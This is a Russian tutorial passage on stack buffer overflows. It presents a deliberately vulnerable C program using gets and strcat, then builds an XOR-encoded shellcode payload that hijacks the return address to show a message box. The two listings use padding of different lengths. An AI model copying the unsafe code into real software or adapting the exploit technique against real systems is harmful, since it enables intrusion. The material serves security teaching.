Переполнение буфера - Пример "поближе к жизни"

ОГЛАВЛЕНИЕ

И ещё...

Напоследок рассмотрим пример "поближе к жизни". Следующая программа иллюстрирует наверное самую типичную форму уязвимости переполнения буфера:

#include <stdio.h>
#include <string.h>
#include <windows.h>

void show_message(char* msg)
{
    char buffer[64];
    strcpy(buffer, "Message: ");
    strcat(buffer, msg);
    MessageBox(0, buffer, "Message", MB_ICONINFORMATION);
}

int main()
{
    char text[1024];
    printf("Please, enter text: \n");
    gets(text);
    show_message(text);
    return 0;
}

По сути эта программа почти не отличается от предыдущей, но в этот раз мы работаем не просто с массивами, а со строками. Переполнение происходит если передать функции show_message слишком длинную строку. Строку мы вводим с консоли и исходный код данной программы нас вообще не интересует; для дальнейшего понадобится лишь EXE файл (назовём его опять TEST.EXE). Такая ситуация примерно соответствует "реальной жизни".

Итак, попробуем устроить "атаку на переполнение буфера" в программе TEST.EXE. Для начала найдём место во вводимой строке, куда мы поместим наш адрес возврата. Для этого запустим test.exe и введём следующее:

111111111122222233444444444455555555556666abcdefghijklmnopqrstuvwxyz

В появившемся сообщении об ошибке смотрим, чему равен EIP. Он равен 0x63626136, следовательно адрес возврата должен находиться на месте символов "6abc". Прямо за ним поместим код. Проблема только в том, что та строка, которую мы разработали для предыдущего случая не подходит, так как в ней есть символы 0. Придётся применить маленькую хитрость: закодировать фрагмент программы, содержащий байты 0, проделав, например, с каждым байтом операцию XOR 80h. В начале программы придётся дописать код, который бы раскодировал её. Примерно такой:

MOV EAX, (конечный адрес закодированного фрагмента + 1)
MOV ECX, (количество байт во фрагменте)
decode:
DEC EAX
XOR BYTE PTR [EAX], 80h
LOOP decode

Нужно не забыть заменить и адреса используемых в коде функций на правильные для этой программы. В этой программе адрес ExitProcess хранится в 0x40f0ec, а адрес MessageBoxA - в 0x40f1a0. В итоге получаем следующую строку:

"1111111111222222233333334444445555555566666"
"\xb3\x94\xf7\xbf"          // aдрес возврата (адрес инструкции CALL ESP в KERNEL32.DLL)
                            // ----------- код ----------- --- адрес инструкции ---
"\x8b\xec"                  // MOV EBP, ESP                         // EBP+4
                            // --- раскодируем часть программы ---
"\x8b\xc5"                  // MOV EAX, EBP                         // EBP+6
"\x83\xc0\x35"              // ADD EAX, 35h ; EAX = конечный адрес  // EBP+8
"\x33\xc9"                  // XOR ECX, ECX ; ECX = 0               // EBP+b
"\xb1\x10"                  // MOV CL, 10h  ; ECX = 10h             // EBP+d
"\x48"                      // decode: DEC EAX                      // EBP+f
"\x80\x30\x80"              // XOR BYTE PTR [EAX], 80h              // EBP+10
"\xe2\xfa"                  // LOOP decode                          // EBP+13
                            // --- Вызываем MessageBoxA ---
"\x6a\x30"                  // PUSH 30h                             // EBP+15
"\x8d\x45\x2c"              // LEA EAX, [EBP+2сh]                   // EBP+17
"\x50"                      // PUSH EAX                             // EBP+1a
"\x8d\x45\x35"              // LEA EAX, [EBP+35h]                   // EBP+1b
"\x50"                      // PUSH EAX                             // EBP+1e
"\x51"                      // PUSH ECX     ; push 0                // EBP+1f
                            // -- начиная с EBP+25
                            //    идёт закодированный фрагмент --
"\xff\x15\xa0\xf1\x40\x80"  // CALL [USER32.MessageBoxA]            // EBP+20

"\x7f\x95\x6c\x70\xc0\x80"  // CALL [KERNEL32.ExitProcess]          // EBP+26
       
"\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80"
                            //    Cтрокa "Question\0" (закодирована)// EBP+2c
                            // -- конец закодированного фрагмента
                            //    (EBP+34) --
"To be, or not to be...\0";                                         // EBP+35

Для того, чтобы не вводить это всё вручную (что скорее всего не удастся, т. к. здесь полно различных спец. символов) можно написать маленькую програмку, которая выводит эту строку на консоль:

#include <stdio.h>

int main()
{
    printf("11111111112222222222333333333344444444445555555555666666666"
           "\xb3\x94\xf7\xbf\x8b\xec\x8b\xc5\x83\xc0\x35\x33\xc9\xb1\x10\x48"
           "\x80\x30\x80\xe2\xfa\x6a\x30\x8d\x45\x2c\x50\x8d\x45\x35\x50\x51"
           "\xff\x15\xa0\xf1\x40\x80\x7f\x95\x6c\x70\xc0\x80"
           "\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80To be, or not to be...\0");
    return 0;
}

Cкомпилируем её как T.EXE и направим её вывод на вход TEST.EXE:

> T.EXE | TEST.EXE

Работает!